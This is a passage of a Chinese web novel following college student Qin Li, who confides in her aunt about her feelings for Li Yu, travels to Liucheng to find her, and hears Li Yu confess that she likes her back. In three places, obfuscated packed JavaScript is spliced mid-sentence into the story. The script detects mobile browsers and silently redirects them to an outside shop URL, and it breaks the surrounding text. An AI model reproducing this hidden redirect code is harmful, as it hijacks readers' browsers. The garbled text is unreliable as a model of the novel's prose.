“……”秦离想到小姨的父亲,也就是她外公,这个看起来胖乎乎乐呵呵的小老头,没想到下手那么狠。 “哈哈,没想到吧。你现在还小,等到了一定年龄,会发现整个世界啊,根本不是过去所有人告诉你那样。” “我不小了。”秦离气鼓鼓道。她这个年龄的人,最讨厌被人小瞧。不过她也不喜欢谈论未来,总觉得带着一股说不清的恐慌。 “行。”小姨也不跟她争论这个,“听四姐说你现在在梦城读大学啊,那是个好地方,我去过几次,真繁华啊。” “还好啦,”秦离没有太深刻的感觉,“就是高房子比南城多点,好像也没太大区别。” 小姨想想:“也是。” 秦离将话题又慢慢转到自己好奇的地方:“小姨,你这些年过得怎么样啊?” “唔,有点辛苦,不过至少目前来说,还行?” “那你这次突然回来没事吗?”秦离有些担忧,不过这次席上好像没看见外公啊。 “哈哈,老头子偏瘫了,现在可管不到我头上。”小姨现在性格张扬了许多,随即语气又变得有些温柔,“我其实对回来也没什么兴趣,是小玥啦,非要来看下我家乡是什么样子,我拗不过她,回来就回来呗。” 她嘴上说着没办法,脸上的笑意却暴露了自己的内心。秦离好奇这个小玥是谁,心中也隐隐有所猜测。 “明秀,”这时,有个年龄比小姨稍长点,长相清秀的女人边喊着她的名字,边走了过来。 小姨崔明秀欢喜地站起来:“小玥,怎么过来了?” 走近了,叫小玥的女人才发现这边还有一个人,害羞地缩在崔明秀身侧,小声问:“这是?” “这是我小侄女,叫……” 秦离生怕小姨在别人面前喊出自己小名,连忙打断:“我叫秦离,你好。” “你……你好,我叫邱玥,是……” 崔明秀牵着她的手,毫不遮掩道:“她是我的爱人。” 邱玥更害羞了,小声嘀咕着“怎么在孩子面前说这个”,边将泛红的脸贴在她肩膀上。 秦离只觉吃了好大一盆狗粮,又有些羡慕,真心称赞道:“你们看起来很般配。” “谢谢。”即使害羞,听见夸奖,邱玥还是开心地笑着回应了。 崔明秀哄着她:“你看吧,没什么需要遮掩的。这可是我最亲的小侄女,当然会祝福我们。” “嗯……” 有邱玥在,虽然猜测被映证,秦离却不好再问更多了。她拿出手机:“小姨,你电话多少呢,回头我们加个飞信吧。”她还有好多事情想问一问。 “哈哈,加什么飞信,微信吧。” “微信?” 如此这般再那般,秦离终于搞好了微信。她心念一动,搜了黎羽的手机号,果然跳出了账号。 头像是黎羽在黄昏时刻坐在山顶的背影,看上去……很孤寂。 19. Chapter 19 爱人来了,崔明秀也没有心思聊天了。她摇了摇手机,向秦离示意:“之后微信聊。” “好哦。”秦离也想着,终于找到同类——还是自己的家人,可以好好倾诉了。 秦离继续坐在大石头上,翻着黎羽的微信账号。她的朋友圈没有设置对陌生人关闭,秦离能看见最近几个月发的几条。 最早一条是近半年前拍的,配图就是头像这张背影图,正文写着“好想去没人的地方”。 秦离心一下子就揪起来了。她不知道那时候发生了什么,只恨不得去到那时候,去到黎羽身边好好安慰她。 往回翻的朋友圈就日常些了,不再出现她的照片,只是些风景或物品。秦离能认出部分,这个是店里柜台的电脑,这是她常抽的万宝路,这是训练时的球场。 这是……好漂亮的云,看着像小马,好像是飘在学校上空的那朵。秦离记得,当时那片云很特别,她还拉着李清韵指过。或许她们在那时抬头,看的就是同一片云。 大多时候,黎羽没有配字,就发了张图片,最多加个emoji。一张张翻过来,秦离也好像陪着她走过那些时光,欢喜着。 最近一张照片是两人最后一次见面那天的晚上十一点发的。画面里是落地的飞机,外面还下着雨,机场的夜灯将泊油路上的水坑映得透亮。 仿佛又想起了那天的心痛,秦离按了按心口,咬着下嘴唇。 当时她离开,是赶着去哪里吗,是回家?家里有急事吗?那当时直接跟她讲就好了啊,干嘛……突然又变得冷冰冰的,还不回她消息…… 秦离心中委屈。她将黎羽的账号信息翻来覆去看了个遍,最后还是没发出那条好友申请。 晚上回家,秦离趴在床头开始给崔明秀发消息。 崔明秀的头像是她和邱玥的合照。两人依偎在落日的海边,黄澄澄的光线里,笑容灿烂。她的朋友圈里除了工作图片外,大多是她和邱玥的日常生活,琐碎但温馨。 秦离有些羡慕,小姨和她爱人的相处就像她理想中的爱情的模样。 【小姨,你这会有空吗?】 对面回得很快:【就猜到你会给我发消息。白天时看你就一副欲言又止的样子,怎么了,有什么烦恼吗?】 秦离抓抓乱糟糟的头发,没有直说:【就……随便聊聊嘛。[好奇]毕竟好些年没看到小姨了。】 【都可以啊。】 秦离先跟崔明秀聊了些大学生日常生活,连带着些人生迷茫,崔明秀也耐心开解她,说的话让她心中熨帖。 小姨果然还是……同印象中一样温柔啊。 话题慢慢转到崔明秀自己身上,秦离顺势问出:“小姨,你和邱姨是怎么在一起的啊?” 崔明秀慢慢道来。原来当年她逃婚后,去隔壁村子的赤脚医生那里简单治了下腿,不敢耽搁,怕被父亲抓回去,决定跟着所谓的在外打拼的老乡一起去安城打工。 安城是东南沿海一座新兴城市,那些年有不少人都跑到那里去闯荡,听说赚了好些钱,回家都是好车好衣的。那时的崔明秀心中有股气,她要自己干番事业,挣大钱,再也不回来了。 谁知道那老乡是半个人贩子,见崔明秀一个年轻女人,想拐卖了数钱。幸亏她机敏,中途察觉不对就偷跑了。她还是想去安城,身上又没什么钱,靠一路乞讨加好心人帮助,又避开不少危机,几经辗转才到了那里。 结果到的第一天,她就因为几天没怎么进食,饿昏在了一家小饭馆门口。 邱玥就是这家店的老板。 后来,无非就是收留者和被收留者一见钟情的故事。 崔明秀没有说得很细,但秦离多少也感觉到她当初的艰辛,又为她们的神仙爱情而落泪。 【呜呜呜,小姨你和邱姨也太不容易了吧,不过好在现在一切步入正轨,苦尽甘来啊!】 【是啊,苦尽甘来,有她在,怎么都好。那你呢,又在为谁烦恼?】 【!!!】秦离震惊,她都还没提呢——虽然是准备提了,怎么小姨就知道了。 【哈哈,你都表现得这么明显了,白天就想说了吧,弯弯绕绕还先问我小玥的事。】 【那个……】 秦离将认识黎羽的来龙去脉都告诉小姨了,里面夹着大量对黎羽的表白,但没说后来黎羽突然消失的事。 【……】 崔明秀发来六个点,过会才问道:【勺勺,你是认真的吗?】 【我当然是认真的!我才不会拿感情开玩笑呢!】 大学校园里有很多玩耍般随便开始又随便结束的恋爱,秦离不是这样的。她眼里爱情是神圣的,要付出全部的热情和感情,甚至连说出“爱”这个词都要慎之又慎。 崔明秀不知道她的想法,回答得比较谨慎:【……我着实没有想到。勺勺,你要考虑清楚,特别是听你说,对方天生就是弯的,你不能在招惹了她后拍拍屁股就走人了,这会给对方带来很大的伤害。】 【我知道。那小姨,你说她到底喜不喜欢我啊?有时候我觉得她似乎对我有好感,有时候她又突然变得很冷。】 秦离模模糊糊有点感觉,但又没那么自信。她整颗心在黎羽若即若离的举止中上上下下,无处安放。 【我对她不了解,只是听你口中所说的。如果她不是一个玩咖的话——虽然现在听着不像但不能完全排除这种可能,那或许就是她在面对你时无法感到安全。这并不都是你的原因,也不全是她的原因,是很复杂的状态。】 【勺勺,现实生活中的爱情可遇不可求,是奢侈品。两人恰好在同一时间爱上对方,并且能相互扶持着一直走下去,这是个奇迹,更不用说还有那么多阻碍,反对你的声音远比你想象中的多。】 崔明秀说了很多,秦离的心情有些沉重。她隐隐知道对方说的是对的,但又不想那么轻易承认,好像这样就放弃了自己的爱情。 她不甘心地问道:【小姨,那你和邱姨呢?】 【我很爱她,她也爱我。但即使是这样,我也无法保证我们能一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370149|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起走到最后。我很想如此,但未来的事,有太多变数,我能做的只有珍惜现在和她在一起的每一秒。】 秦离心头闷闷的,隐约感受到她还不曾直面的命运的恐惧。 像是知道她的心情,崔明秀话题一转:【当然啦,你现在还在学校呢,暂时不用考虑那么远。只要你心里想明白,不是一时好奇,就大胆去爱吧。小姨在这里,永远是你坚强的后盾。】 【呜呜呜,小姨……】 秦离放弃去深究那些让自己烦躁的想法,又跟小姨聊了几句话,才含含蓄蓄将黎羽最近不回她消息的消失状态说了出来。 【……】崔明秀再次回了六个点。 【要不算了吧,勺勺,你跟她太不一样了。】 秦离现在对这句话都快应激了:【哪里不一样了!】 【性格,爱好,或许还有家庭,最后一个是我猜的。她或许家里确实有急事,但也不是当时就这么扔下你不做任何解释的原因。你们在一起会很辛苦的。】 秦离很执拗:【要是喜欢是嘴上说说就能放弃的,那就不是喜欢了。不管怎么样,除非她非常明确拒绝我说不可能,不然我不会放弃的。】 崔明秀第一次知道自己的小侄女是个恋爱脑,有点头疼:【我现在开始害怕她真的是个玩咖了。】 【她不是的。】 【……】 崔明秀放弃劝说她了,只道那便支持吧。也是,年轻人如果不撞次南墙,是不会明白到底真正想要抓住什么,放弃什么的。 两人聊了些其他事,多是秦离在说自己这么些年来的事,崔明秀也愿意听着,了解她的成长。 两人聊到深夜,崔明秀扛不住,先睡去了。秦离躺在床上,依旧没什么睡意,满脑子想着黎羽的事。 小说,打开看了几页就关掉了。这个季度的新番,似乎也没什么意思。游戏,剧,论坛…… 没兴致……通通都没兴致…… 秦离在床上翻来覆去,脑子里依旧是那个身影。 她坐起来,趴在窗台上,看着天空发呆。 老家的空气很好,窗外便是满天繁星。她望了会天,又忍不住在手机上翻着黎羽的账号。 !!! 黎羽更新了一条朋友圈。 秦离迫不及待点开,发现是一张骑机车的照片。 黎羽没有拍自己,入镜的是机车的部分,但后视镜映出了她的下半张脸和上半身。 她脸色似乎很疲惫,眼下青黑,难得穿了件黑色短袖,上面映着暗红色的像花又似糊成一团的图案,袖口处的手臂上有隐约的伤口露了出来。 黎羽她怎么了,受伤了吗,为什么看上去……这么难过…… 秦离只觉得她周身萦绕着悲伤的氛围,让自己心像被什么东西紧紧抓着,喘不过气来。 黎羽…… 黎羽…… 好想她…… 好想见她…… 秦离下了个大胆的决定。她要到柳城去,她要去找黎羽。 20. Chapter 20 第二天,秦离撒谎了。 她跟爸爸说,学校在柳城搞了个竞赛项目,她也是才知道的,紧急报名,要马上赶过去。 “这么赶哦?”爸爸看了看她,最后只道,“手上钱够不够?” 秦离心中有些愧疚:“够啦,往返都够的。” 最后,爸爸开车将她送回南城的机场。在登机口看着爸爸朝她挥手,秦离心中突然有些酸涩。这只是过去未来里一次普通的分别,却让她心中滋生孤独感。 孤独化作了别样的思念,秦离只想快点到柳城,快点见过黎羽。 起飞前,她给黎羽发送了一条消息和一则好友申请。 【黎羽,这些天,你一直没回我消息。我不知道是什么原因让你态度突然就变了,我也看到了你的朋友圈。我……这么说或许很没有自尊,但我真的很担心你,也很想知道你的答案,我不想等了。我马上就要起飞了,如果你愿意好好跟我说,那我们就见一面,把话都好好说清楚。如果你还是……继续躲我,那我就把这次当作一段旅程,散散心,以后就……再也不来打扰你了。】 打完这段话,秦离闭着眼睛发了出去。 她其实心里还有好多想说的,但又觉得自己矫情。说不定……说不定对方还觉得她这样天天发消息烦得不行呢。 南城到柳城一个半小时的飞机,秦离只觉度秒如年。 她带着个小箱子,心里故意盘算着柳城有什么好吃的好玩的,分散注意力,已经做好了黎羽不会回应的准备了。 柳城是个小城市,机场也很小,落在荒郊野岭,四周空荡荡的,只有一眼望得到尽头的孤零零的机场建筑。 飞机滑行时,秦离已经迫不及待打开手机了。不出意料,除了爸爸估着时间发来确认到达的消息,再没有任何了。 秦离紧紧捏着手机出神,半天才回神,取下行李,随大流往外走。 她今天穿了身白色的连衣裙,银色的露趾凉鞋,一不留神,脚趾撞在了前方的座椅上。 “痛……好痛……” 钻心的疼痛让她的眼泪不受控制地流出来。她缩成一团,不愿动弹。 “小妹妹,你没事吧?” 类似黎羽的声线让秦离身体一抖。她抬头,泪眼朦胧间好像看见了熟悉的身影,再仔细看,是穿着黑色制服的空乘。 “我……我没事,谢谢……” 发现自己堵着后面人了,秦离忙站起来,抹着眼泪往前走。 每走一步,都加剧了脚趾的疼痛,往上扯着心的痛。偏偏这趟航班不停靠航站楼,需要坐摆渡车。秦离已经不知道自己是如何坚/挺着下楼梯又上车,在疯狂的摇晃中到达那栋看起来很近的建筑,再磨蹭着往出口挪着。 柳城的夏天同样闷热,热浪将人整个裹在里面。秦离裙摆上是不知道在哪里蹭的污泥,头发已经被汗打湿成一缕缕,贴在脸颊和额头上,胃里也因为一天没怎么吃东西而隐隐作痛。 她觉得自己的灵魂好像分成了两块,一块在这具身体里受着煎熬,一块飘到了空中,指着她哈哈大笑。 看,这家伙好狼狈哦,嚯,这不是踩着刀尖的小美人鱼嘛,哈哈哈哈…… “哈哈哈哈——” 秦离又哭又笑,旁人看了她几眼,离得远了些。 或许是觉得这人疯了吧。 哈哈哈哈…… 走到出口,周围人来人往,很多人在等着,有人还举着牌子,伸长脖子望着里面。她们都在等着,带着期盼等着,有人接到了,碰头的两人脸上都挂着笑容,说说笑笑并肩往外走。 秦离心里的空洞更大了。 出于不知道什么心理,她拨通了黎羽的电话。 “嘟……嘟……” 对面依旧是无人接听,秦离自嘲地勾了勾嘴角,拉着箱子往外走,手上却没挂断。 “嘟……嘟……” 秦离听着听筒里的嘟声一直响着,等待着最后的自然挂断。 在结束前的最后一刻,电话接通了。 “……” “……” 两边都没有说话。秦离的呼吸声很急促,也能听到对面隐约的气息。 “……秦离。” 对方的声音很干涩,很苦。 听着她的声音,秦离的泪水再度涌了出来,更多的,止不住地流。她捂着嘴,将所有声音咽在了喉咙里,不想让黎羽听到她的哽咽。 “……秦离,你啊……” 秦离终于忍不住,蹲在地上哭出声来。她手上依旧死死捏着手机,声音糊成一团:“别挂……你不许挂!” “……嗯。” 很轻的一声,秦离得到承诺,终于放声痛哭。 不知道哭了多久,秦离感觉到人靠近,停在了自己面前。阴影打在她身上,遮住了所有阳光,面前的人迟迟没有走开。 “谁……!” 秦离被打扰到,从头发缝隙间望去,看到个熟悉的身影。 “秦离……”这次,声音从听筒里传来,也从眼前传来。 又是错觉吗…… 秦离保持着这个姿势不动,小心翼翼观察着。 错觉又开口了:“秦离,你……” 不是错觉! 秦离猛地蹦进来,扑进黎羽怀里:“呜呜,你怎么……怎么才来啊!讨厌你,我讨厌你!” “抱歉……”黎羽抱着她,轻轻拍着她的背,“是我的错,你别难过了……” “我哪里难过了,我没有为你难过!我就是痛……痛……” “哪里痛?” “脚趾,腿,手,头,心……哪里都好痛……” 黎羽不确定她是不是真的哪里痛,一只手拉过箱子,一只手牵着她:“我们先回去再说吧。” “……好。” 黎羽叫了车,两人坐在了后排,秦离紧紧抓着她,两人的手一直没有松开。 见到人了,秦离的情绪稍微恢复些。这时,她才偷偷观察黎羽。 柳州闷热的夏季,她依旧穿着黑色长袖衬衫,眼前的黑眼圈比照片上看着更加明显,有些乏意,眉头不自觉地微皱着,身上环绕着一股之前还不那么明显的烟草味。 果然是有烦心事。就是不知道这烦心事是她自己的私事,还是跟自己也有点关系。 秦离胡思乱想着,刚刚难过的情绪已经变淡了不少。 出租车开了半个小时,停在了旧城区。这里大多是已经十多二十年的老房子了,楼层不高,但是墙体裸露着水泥的灰色,上面扎满了或翠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370150|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绿或干枯的爬山虎。 车停在了外面,黎羽带着她在巷子里东转西转,最后爬过一个斜坡,转弯后看见前方有一栋五层高的房子。她们上了二楼,黎羽取钥匙开门。 灯亮了,这是间两室两厅的房子,除了天花板上挂着的水晶灯,沙发、柜子和电视机看上去都很旧了。饭厅应该是延伸出去的阳台改建的,窗户外是一堵墙壁。 黎羽走过去,拉上纯蓝色的窗帘挡住墙:“这是我朋友的房子,她出国去了,这地方就留给我有时候过来住。” “这样哦……” 黎羽看着已经很累了,秦离心中本来有许多话想问,真看见人了,又不知道从何说起。 “哪里痛?”黎羽还记得秦离之前的话。 秦离现在只觉得之前在机场说的话有点矫情,她不好意思道:“脚趾……在飞机上撞到东西了。” 黎羽蹲下来想要检查伤口,秦离不好意思地缩脚,被她制止:“别动。” 脚趾有些红肿,黎羽看了看,道:“你先去洗澡吧,出来我给你擦药。” “……好哦。” 出来再和黎羽好好聊聊吧,自己这一身脏兮兮的也是的…… 秦离想着,拿着浴巾和睡衣进了洗浴间。这时,黎羽也跟着她一道进去了。 !!! “这里热水器有点问题,我帮你调下。”黎羽解释着。 “……好哦。”秦离乖巧应着,心里痛斥自己的胡思乱想。 这热水器果然很难伺候。直接开淋浴头,水便烫得不行,稍微调一点,火又马上熄了。秦离看着黎羽先开着热水器下水槽的热水,再打开淋浴头,配合热水器上的两个开关,旋转着一点点调着冷水,终于调到一个勉强能接受的热度。再动,火又要熄了。 “抱歉,这里是老房子了,条件比较简陋,不习惯的话晚点我带你写宾馆。” “没事,还好啦,而且我也习惯洗比较热的水了。” “好,我调好了,那你别动它,洗完也别关。” “好。” 秦离淋着热水,呲牙咧嘴着勉强洗完了这次澡。 出来后,换黎羽进去。两人轮番洗完,又沉默着吹完头发,一番折腾下,天色已经开始变暗,要到晚上了。 老房子里的空调发出刺拉的声音,呼呼吹着冷气,但效果不是很明显。秦离才刚洗个澡出来,吹头发时身上又冒了一点汗了。 头顶的灯也不是很亮,微微闪着,似乎不知道什么时候就会突然罢工。 黎羽用棉签给秦离的脚上涂了点碘酒,古怪的药水味在房间里蔓延。涂完后,她去洗了手又回来。 “黎羽……” 两人坐在沙发上,秦离斟酌着开口。 “……” 黎羽突然倒下,将头埋在她肩上,看不见神情:“秦离,我好累,你陪我睡会吧。” “啊……好。”秦离手足无措地应着,手臂轻轻环住她。 侧卧里堆满了杂物,主卧里只有一张床和一个柜子。两个人躺在床上,黎羽将秦离抱在怀里,微黏的肌肤贴在一起,满是热意。 昏暗的房间,霓虹灯将微薄的蓝色窗帘映得隐隐发光,空调主机依旧在轰轰响。 房间里,是两个人的呼吸。 21. Chapter 21 秦离没有睡意。在这张陌生的床上,借着窗外透过来的霓虹灯光,她抬头看着黎羽的睡颜,用目光轻轻描绘她的眉目和轮廓。这是她第一次看见她睡着了的样子。 黎羽似乎是真的累了,抱着她很快就睡了过去。但她的五官都微皱着,一抹愁色挥之不去。秦离忍不住伸手,这一下却惊动了黎羽。她没有醒,但身体动了,将秦离抱得更紧了。她微微埋头,头发蹭在了秦离的下巴上,呼吸落在了她的锁骨上。 很痒。 所有声音都好像隔得很远,主机轰鸣和窗外汽车的声音好像隔了一层膜,隐隐约约。她只能听见黎羽的呼吸声,有些快,很热,浓烈又细腻。 秦离望着天花板,能隐约看清上面水晶灯的样子。这老房子什么都很破旧,唯独水晶灯很新,但老旧的电路和带着裂纹的天花板似乎难以承受它的重量,好像不知道什么时候就会突然落下来。 砸得粉身碎骨。 秦离脑子里闪过很多东西,却都只是在表面掠过。 她不知道自己是什么时候睡着的,好像做了个梦,梦里她从高处落下,一直往下坠,好像落不到地。突然有个兔子蹦了出来,眼神很冷,拿着怀表对她说,时间到了。她惊醒,身体里似乎还残留着那种失重的感觉,心里空落落的。 醒来后,她发现两人依旧正对着,脸靠得很近,鼻尖就要贴着鼻尖,每一次呼吸都贪婪地将对方的气息吞进去,进入肺叶,交融着,不分你我。 秦离呼吸一紧。这时,黎羽的睫毛微颤,眉头皱得更厉害了,似乎很不情愿地从沉睡中醒来。她的声音含混着:“什么时候了?” “不知道……”出声后秦离才发现自己的喉咙有点干涩。 “唔——”黎羽小声呻/吟着,又将头靠在秦离肩上,声音闷闷的,“真不想起来啊,已经好多天没有安稳睡一觉了。” “你怎么了?发生什么事了吗?”秦离忍不住想知道答案。 黎羽答非所问:“你饿了吗?到了之后还没吃过东西吧,我……” “黎羽!你别逃避我的问题,我不想再这么稀里糊涂,惶恐不安……”秦离这次来,就是要一个答案,不想再在对方的若即若离里患得患失。 黎羽僵住了,许久后叹了口气:“起来先吃东西吧,吃完后我都告诉你。” “好。” “家里没什么东西,我煮点粥吧,你还想吃其他什么,可以点外卖。” “我都可以。” “客厅里电视能开,你要看什么可以点。” “没事。” 沉默在空气里蔓延。秦离打开手机,漫无目的地刷了下又关掉。最后,她还是打开了电视,上面还停在上一次播放的电影,叫《刺青》①。 秦离点了继续播放,叫小绿的女孩和叫竹子的刺青师的故事继续,零碎的剧情,地震的伤痕,奇特的感情。她看得心不在焉,但有股悲伤的情绪在流淌。 黎羽端着白粥和一盘微微焦黄的炒蛋出来:“在看《刺青》?” “嗯,点开就是这个了。” “这是我很喜欢的一部电影,我很喜欢竹子。” 竹子吗,秦离想到了她给小绿背上刺上小茉莉的样子。 还有大部分时候拒人于千里之外的样子,那种时候,跟黎羽有点像。 秦离在沙发上缩成一团,小口小口抿着粥,夹着炒蛋。 电影放到了最后,没有人动,就又从头开始。 “清晨下了一场雨 露水沾湿了小茉莉 白色花瓣 纯洁又清晰 偷闻着你的呼吸”② 小绿的自白中,黎羽终于开口了:“其实我本来是想着,上次看完电影后就不再和你见面了。” 秦离望着黎羽,看她低着头,避开自己的眼神,气到有点想笑:“你到底是怎么想的?要是你不想见我,别接我电话,也别来机场啊。”她觉得自己很凶,但声音有点发抖。 黎羽嘴唇翕动,秦离等了等,没听到她的回应。 “这就是你的答案吗?我知道了,那我走。” 秦离彻底失去耐心,将碗一放,要去提行李箱。 黎羽抓住了她的手腕,很快,很紧,似乎生怕她真的离开了。 “……别走。”与她的力量相对的却是很轻的声音。 秦离看着她抓住自己的手,看着她咬着下唇,还有那双透着忧伤的浅棕色眼瞳,眉目低敛。 她无法说服自己狠心离开。 秦离叹了口气,转身跪坐在沙发上,捧着黎羽的脸,两人的呼吸交缠。 “你啊……真是要折磨死我了。” 黎羽将下唇咬得更厉害了。 秦离总是不吝于主动表白:“黎羽,我喜欢你,很喜欢很喜欢。” 黎羽想要移开视线,却被秦离捧着脸不让她逃避。 “你呢?你要是也喜欢我,那我们就在一起。你要是……不喜欢我,我们就不能再这么……暧昧下去了……” 黎羽的睫毛颤得很厉害。她避不开秦离透亮的目光,只能小声唤着:“秦离……” 秦离看着气势十足,心里其实也没底。她的心脏跳得很快,知道过了这一次,自己也不一定再有勇气当面问黎羽了。 心中百转千回,见黎羽还是没回应,秦离的眼泪不自觉落了下来,转眼间脸上便满是泪痕。 “秦离……!” 离得很近,秦离看见黎羽眼中满是心疼。黎羽伸手想要拭去秦离的泪,被她很凶地打开。 “不要管这个,你就告诉我,喜欢还是不喜欢……”秦离的声音哽咽着,带着浓浓的鼻音,“喜欢就是喜欢,不喜欢就是不喜欢,说出来……为什么就那么……难啊……” 黎羽挣脱了秦离的禁锢,在她心彻底凉透前将脸埋在了她的肩上,紧紧抱着她,不让她离开。 她的胸膛起伏得很厉害,呼吸也很乱,好像在酝酿着什么。秦离也感受到了,轻轻环住她,静静等着。 良久,久到秦离脸上泪痕都已经干了,才听到个很小的声音:“……喜欢。” 秦离战栗着,兴奋地将黎羽拉起来:“你再说一遍。” 黎羽脸上泛红,不知道是憋气憋的还是害羞着的。她将头别过去,不肯再开口。 “黎羽~学姐~小羽~我的小羽毛~” 得到对方的肯定回答,秦离眼睛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370151|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发着光,刚才的失落情绪已经一扫而空,一阵乱喊:“我刚刚没听清楚,想听你再说一遍,再跟我说一遍嘛~” “别……别这么叫我……”黎羽的脸更红了,连着脖子都是红的,“都已经说过了,没听清就算了。” 秦离现在是有恃无恐了,说话可怜巴巴的:“你看你前阵子对我这——么冷淡,一条消息都不回我,我都难过死了,还是千里迢迢跑过来找你。好不容易得到你的答案了,就再说一次嘛,就一次~” 黎羽心中也有愧,在秦离的软磨硬泡下,最后还是妥协了,又重复了一遍:“……喜欢。” 秦离的嘴角翘得很高,抱住黎羽的脖子蹭来蹭去,撒娇道:“真好啊,真好~” 说着说着,她的眼角又湿润了,温热的泪珠轻轻点在黎羽的锁骨上。 这次,黎羽拉起她,细细为她拭去每一滴泪,看着她泪眼婆娑的样子,忍不住在她眼睛上落下一吻,泪水沾湿了唇:“好了,乖,别哭了。” 温热的触感让秦离的心跳漏了一拍。她果真止住了眼泪,羞羞答答应道:“嗯。” 两人依偎在狭小的沙发上,真正的十指紧扣。秦离将头靠在黎羽臂弯里,感受着自己的长发在她指尖滑过,又打着圈。 “黎羽。”喊出名字后,秦离不太满足,“不行,这样听上去好生疏哦。学姐?小羽?不行不行,都有别人这么叫过你。羽羽?阿羽?小羽毛……” “还是就叫我小羽吧。” 黎羽身体抖了抖,连忙打断她,生怕她再想出什么奇怪的称呼。 秦离扁扁嘴:“我不想和别人是一样的叫法嘛。” 黎羽拿她没辙,只能从里面挑了个没那么肉麻的:“那……阿羽?” “好哦!”秦离瞬间喜笑颜开,“阿羽~”她叫得甜甜的,尾音百转千回,心里想着要将她的备注全部改了。 阿羽…… 她的……小羽毛…… 接着,秦离满眼期待地看着黎羽。黎羽明白,这是也想要属于她的独一无二的称呼。 她看着秦离,一双狗狗眼里映着的全是自己,满满的喜欢,闪着星光。 好乖…… 她沉溺其中,忍不住说出口:“好乖……” “嗯?”秦离歪头。 黎羽忍不住摸着她的头,将她贴得离自己更近了,唇吻着黑发,声音温柔。 “我是说,我的小乖……” 声音传递的这一刻,秦离仿佛看见了无数蝴蝶翩飞,所有物品都黯然失色,世间一切都离得很远很远。 只剩下,她和黎羽。 “阿羽~” “嗯。” “阿羽~” “嗯。” 秦离一遍遍喊着,兴奋地动来动去,黎羽便也一遍遍地应着。 “阿羽~你也叫叫我嘛。” 黎羽揉了揉额头,有些头疼:“小乖,别闹了,再动我俩就要从沙发上掉下去了。” 这两个字像是什么魔咒,秦离听着一下子就变乖,老老实实在秦离怀里不动了。 没安分太久,秦离突然想起什么,摸出手机递到黎羽面前,气势汹汹的:“快通过我的好友!” 22. Chapter 22 “……什么好友?” 秦离打开绿油油的图标,委屈巴巴:“微信好友啊。我起飞前就加你了,你现在都还没通过。” “微信……” 黎羽不自在地摸了摸额头,挡住自己半张脸:“你搜到我微信了啊……” “对呀,搜手机号就出来了。” “……”黎羽看见秦离调出的账号界面,已经捂着脸了,耳根有些泛红,“你还看到我的朋友圈了?我还以为我已经关了……” “什么呀,你不想我看到吗?”秦离一副气呼呼的样子。 “不是,就我上面发的东西也太……”黎羽拿出手机向她解释,“而且我这个号没加任何人,之前也点了关闭通过手机号添加选项。” 点开选项,通过手机号添加那栏却明晃晃地亮着。 秦离挑眉。 “……现在加。” 或许是上次软件重装的时候又把默认选项打开了,又或许是什么时候不小心点到了,黎羽也不知道。她忙打开亮着红点的好友申请,在里面翻着,指着那只围着粉色围巾的白兔子头像:“这个?” 初次见面,秦离给她看的大眼账号的头像就是这个,她有印象。 “嗯!”秦离为黎羽猜对了而开心,又偷瞄着上面一长排的好友申请,“这么多人加你啊?” “就是因为这样,我才把手机号搜索给关了的。”也是因为从没点过申请栏,她才没发现今天又多了一个。 “好吧。”秦离看着黎羽通过申请,成为她的第一个好友,欢欣雀跃。 她窝在黎羽怀里,在她的手背上玩耍式点着:“那你怎么不加人啊?” 以防万一,黎羽将朋友圈也设置成了仅好友可见,道:“那时候也是一时兴起建了个号,偶尔发发自己的动态,谁知道……” 是啊,知道她电话的人本就不多,身边也没多少人用微信,她只是找个树洞发发心情,谁知道会刚好被秦离搜到,还看见了她那些矫情的内容。 黎羽原本降下温度的皮肤又隐隐有些热意。 满足地看着黎羽手机上唯一一个好友,瞄到她的头像,秦离又想起了昨天看到的那张照片,带着伤口的手臂。 炎热的柳城,这会黎羽穿的依旧是深色长袖。秦离摸着她的手臂,想要顺着往上,却察觉到了她身体的僵硬。 黎羽抓住她的手臂:“怎么了?” 秦离能感觉到她的抗拒,但刚刚两人的亲密给了她勇气。她看着黎羽的眼睛,声音放得很柔和:“阿羽,我想看下你的伤。” “……什么……”她的声音也僵硬了。 秦离不知道发生了什么,但语气更小心翼翼,轻轻拍了拍她的手臂:“没事的,阿羽,我就想看看你手臂上的伤怎么样了。我昨天看见照片后就很担心你。” 黎羽抿着嘴,浑身紧绷,很像秦离看到她被烫伤后擦药那次的状态。 面对又竖起尖刺的黎羽,秦离的动作很轻柔,眼神里满是心疼,耐心地等待她的反应。 秦离身上带着淡淡的果香,被体温蕴热后带着暖意,让人不自觉放松神经。许久,黎羽的身体不再那么僵硬了,抓着她的手也松开了。 她没有说话,只是将头别了过去,身体也朝旁边退了退。 距离远了。 